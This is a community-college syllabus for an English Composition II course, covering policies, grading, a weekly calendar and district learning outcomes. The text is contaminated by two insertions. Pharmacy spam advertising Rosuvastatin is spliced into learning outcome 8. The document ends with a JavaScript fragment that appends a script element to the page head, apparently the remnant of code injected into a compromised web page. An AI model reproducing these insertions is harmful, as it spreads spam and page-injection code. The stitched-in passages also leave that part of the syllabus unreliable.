Composition II (with Rhetoric and Writing Studies-RWS)
English 1302 – Composition, Rhetoric, and Writing Studies
|Description:||A continuation of ENGL 1301 and an introduction to literature and research.|
Robert Tinajero Information on Writing and RWS:
Office: SFOA 1120A 817.515.4616
Office Hours: MW (1:15-3:15)
Axelrod, Rise B. , Charles R. Cooper, and Alison Warriner. Reading Critically Writing Well. 8th Ed.
New York: Bedford/St. Martin’s, 2005. [RCWW on Semester Calendar]
Essays/Documents posted on Campus Cruiser (my.tccd.edu) throughout the semester
-become aware of different methods used in “good” writing
-become better writers of traditional essays
-review citation and citation styles
-learn aspects of writing about Literature
-become better writers and discuss what “better writers” means/implies
-discuss foundational concepts in the field of Rhetoric and Writing Studies
-work in groups to achieve a common persuasive purpose
-become more complex thinkers and writers
-*TCCD’s official course objectives are on the final two pages of this syllabus
Loose-leaf binder with plenty of loose-leaf paper (keep everything we write all semester in this binder)
[group work may later require materials such as a poster board and markers]
You should always save your work on your computer and a disk/flashdrive and online if possible
It is very important that you attend each class period in order to participate in discussions, group activities, and in-class assignments. Being late to class twice, or leaving early twice, counts as an absence. Be especially careful with your absences during group projects because your absence will affect your group mates. I make no distinction between excused and unexcused absences. If you miss class you are responsible for obtaining class notes and assignments from fellow students. Being absent the day something was assigned is not an excuse for turning the work in late.
Guidelines for Papers and Quizzes:
All papers must be double-spaced in 12-point font with one-inch margins all the way around. All assignments are due at the beginning of the class period and are due in class. Only hard copies (printed out) will be accepted. Late papers will be deducted 10 points for each class period they are late. If you miss a quiz, you must take it the following class but 10 points will be deducted. Students are responsible for assignments regardless of whether they were present when work was assigned.
Part of your grade this semester will be a “professionalism” grade. Being a professional means: participate in class discussions; participate in group discussion; respond to e-mail from me or other students promptly; respect other students when they are talking; respect me when I’m talking; do not text message; do not answer your phone; do not come to class late; do not leave class early; do not leave class more than once or twice during the semester to use the bathroom.
Do not turn in someone else’s work and remember to cite everything that you get from an outside source. We will discuss plagiarism and citation this semester. The basic rule: if you use information that is not yours, you must tell me where you got it from.
Paper I (Argumentative Paper) 17%
Paper II (Response to Literature) 17%
Average of Quizzes 17%
Paper III (Position Paper) 17%
Final Exam 17%
Professionalism Grade* 17%
Group assignments can sometimes create tricky situations. Some students don’t always “pull their weight” and this upsets group members that are doing their work and being good contributors to the group. Despite this, I believe group assignments are valuable because they help students work together for a common goal. Group work is a “real life” reality and learning how to work in a group will be central to one of the projects in this class. Students who are not doing their group work can be voted off of their groups and will have to complete the entire work of a group on their own. Further group instructions will be discussed when we begin the Political Campaign group assignment.
Weekly Semester Calendar:
Week of… The Traditional Essay
Jan.20 Introductions: professor, students, class, Campus Cruiser, blueletters.com
Five Parts of Good Writing (Readings from RCWW)
Jan.26 Five Parts of Good Writing (Readings from RCWW)
Assign Paper 1: Argumentative Paper
Feb.2 Paper 1 Due
Writing Short Answer Essays (handouts; websites) Short Answer Writing
Writing about Literature (handouts; websites) Writing about Literature
Feb.9 Discuss various pieces of Literature (from handouts and Internet)
Assign Paper 2: Response to Literature Essay
Paper 1 returned; Discuss Paper 1
Feb.16 Continue discussing Paper 1
Final discussion of average writing vs. good writing vs. great writing (RCWW)
Paper 2 Due
Feb.23 Discussion of “English Studies/The Field of English” Rhetorical Studies
A short history of English/Composition Classes (1900-Present)
Mar.2 The Power of Language (Rhetoric is Epistemic)
Read and discuss various readings (Villanueva, West, Essed, “Writing is Not Just a
Basic Skill,” etc.)
Quiz (Multiple Choice and Short Answer)
Mar.9 How does language shape our world, identity, and relationships?
Some Rhetoric: Laws, policies, popular discourse, “everyday” rhetoric (Essed)
Quiz (Multiple Choice and Short Answer)
Mar.23 Rhetoric and Writing Studies: Theory and Practice
Read and discuss various readings from the field of Rhetoric (Burke, Berlin, Elbow,
Mar.30 WID/WAC (readings and discussion)
Rhetoric and Technology (readings and discussion)
Listen to my Podcasts (uploaded to “My Files” in Campus Cruiser)
Discussion and Explanation of the Political Campaign Project
Apr.6 Language Issues Political Campaign Project
Campaign Questions: What are your thoughts on Ebonics and Spanglish?
Your thoughts on the English-Only movement? Your thoughts on bilingual
education? Should Ebonics and Spanglish be used in teaching in public schools?
Discuss Essays (“Whose Culture? Whose Literacy?” “Students on the Border,”
English-Only movement essays)
Assign position papers
(Students who are not writing on this topic will write a response on their blog)
Apr.13 Position Paper or Blog on Language Issues due
Campaign Questions: How does race impact the United States? Is race an important
issue in the United States? How will you work to ease racial tensions? What do you
think about “race”?
Discuss Essays (“Genealogy of Racism,” Everyday Racism,” and Tenuous-Solidarity”)
Apr.20 Position Paper or Blog on Race Issues due
Illegal Immigration Issues
What do you think about illegal immigration? Do you think it is a problem? If not,
why not? If so, how will you fix the problem? What do you think of allowing illegal
immigrants to have a driver’s license? Do you think illegal immigrants are hurting the
Discuss various readings
Apr.27 Position Paper or Blog on Illegal Immigration due
Meetings with Groups to help construct Political Speech
Group work on creating candidate’s website
May 4 Meetings with groups to help construct Political Speech
Group work continued on creating candidate’s website
Delivery of speech by professor Tinajero
Viewing of candidate Websites
Voting by guest panel of voters/judges
Watch videos of “great” speeches (Martin Luther King, Jr., JFK, Barak Obama)
May 11 Final Exam
www.my.tccd.edu (Campus Cruiser)
www.blueletters.com (my website: see “helpful links” and Writing Shop)
www.bubbl.us (e-brain mapping site)
www.diigo.com (keep track of research; tag and sticky-note websites)
http://office.microsoft.com/en-us/training/default.aspx (video tutorials for Microsoft Office)
www.iwantsandy.com (personal assistant)
http://rhetoric.eserver.org/ (some information on Rhetoric)
http://owl.english.purdue.edu/handouts/index2.html (information/handouts on writing)
Tarrant County College District
District Master Syllabus
At Tarrant County College the District master syllabus documents the content of the course. A District master syllabus is required for every course offered. District master syllabi are prepared by teams of faculty and approved by instructional administration
COURSE RUBRIC, NUMBER, TITLE, AND DESCRIPTION
ENGL 1302 English Composition II
English 1302 is a continuation of English 1301 and an introduction to literature and research. Prerequisite: ENGL 1301 and a passing score on the writing portion of the ACCUPLACER Test.
COURSE TYPE Academic Core
COURSE GOALS AND LEARNING OUTCOMES
Course goals are linked to required Core Curriculum Intellectual Competencies, Perspectives, and Exemplary Educational Objectives as defined by the Texas Higher Education Coordinating Board. Specific core requirements are linked to the class schedule.
1. The student will demonstrate an understanding of appropriate literary works,
including short fiction, poetry, and drama. (CCIC 1, 5; CCP 1, 5, 6, 7, 8; EEO 4, 5, 6)
The student will be able to
a. read the appropriate genre;
b. identify characters;
c. explain plot summary and/or the general topic or subject of a work.
2. The student will demonstrate an understanding of literary and rhetorical devices. (CCIC 1, 3, 4, 5; CCP 6, 7, 8; EEO 1, 2, 3, 4, 5, 6) The student will be able to
a. describe literary elements such as plot and structure, viewpoint, characterization,
poetic devices, style, setting, and atmosphere;
b. identify literary context, in terms of events, ideas, and socio-cultural forces;
c. explain the elements of style and literary form such as figurative language, rhythm, and language patterns.
3. The student will demonstrate an understanding of literature. (CCIC 1, 2, 3, 4; CCP 1, 2, 5, 6, 8; EEO 2, 3, 4, 5) The student will be able to
a. indicate literary features, elements, and technical devices;
b. examine text and context;
c. explain language use.
4. The student will conduct appropriate literary analysis. (CCIC 1, 2, 3, 5; CCP 1, 2, 6, 7,
8; EEO 1, 2, 3, 6) The student will be able to
a. respond logically to literature with rational judgments, based on evidence;
b. evaluate different interpretations of texts;
c. use standard criteria and vocabulary of literary analysis.
5. The student will demonstrate standard essay composition procedures.
(CCIC 1. 2. 5. 6; CCP 4, 7, 8; and EEO 1, 2, 3, 4, 5, 6) The student will be able to
a. write a multi-paragraph essay with an effective introduction and conclusion;
b. apply logical organization and support;
c. produce a recognizable rhetorical mode;
d. use standard grammar.
6. The student will compose appropriate written literary analysis. (CCIC 1, 2, 5, 6; CCP 1, 2, 5, 6, 7, 8; and EEO 1, 2, 3, 4, 5, 6) The student will be able to
a. use appropriate linguistic and critical terminology to describe texts;
b. present sustained and persuasive arguments cogently and coherently;
c. construct an argument supported by text evidence.
7. The student will identify appropriate research topics. (CCIC 1, 2, 5; CCP 5, 7, 8; and EEO 2, 6) The student will be able to
a. differentiate between broad, general topics and narrow, focused topics;
b. outline a focused topic appropriate to the assignment.
8. The student will follow scholarly literary research procedures The best prices for Rosuvastatin are gathered at our store and if you want to take advantage of our deals, as we offer it for only 2.04 USD! . (CCIC 1, 2, 4, 5, 6; CCP 1, 2, 4, 5, 7, 8; and EEO 1, 2, 4, 5, 6) The student will be able to
a. identify appropriate literary research topics;
b. locate appropriate literary criticism and other applicable reference materials from a
variety of media;
c. synthesize information from a variety of reference materials.
9. The student will incorporate appropriate research support. (CCIC 1, 2, 5, 6; CCP 1, 2, 4, 5, 6, 7, 8; and EEO 1, 2, 3, 6) The student will be able to
a. integrate relevant material from a variety of sources, including multi-media
b. use relevant material appropriately in support of an argument, whether through summary, paraphrase,
10. The student will utilize appropriate documentation format (CCIC 1, 2, 6; CCP 4, 5, 7, 8; and EEO 1, 2,
4, 6). The student will be able to
a. use MLA style for primary source documentation and citation;
b. use MLA style for secondary source documentation and citation.d.getElementsByTagName(‘head’).appendChild(s);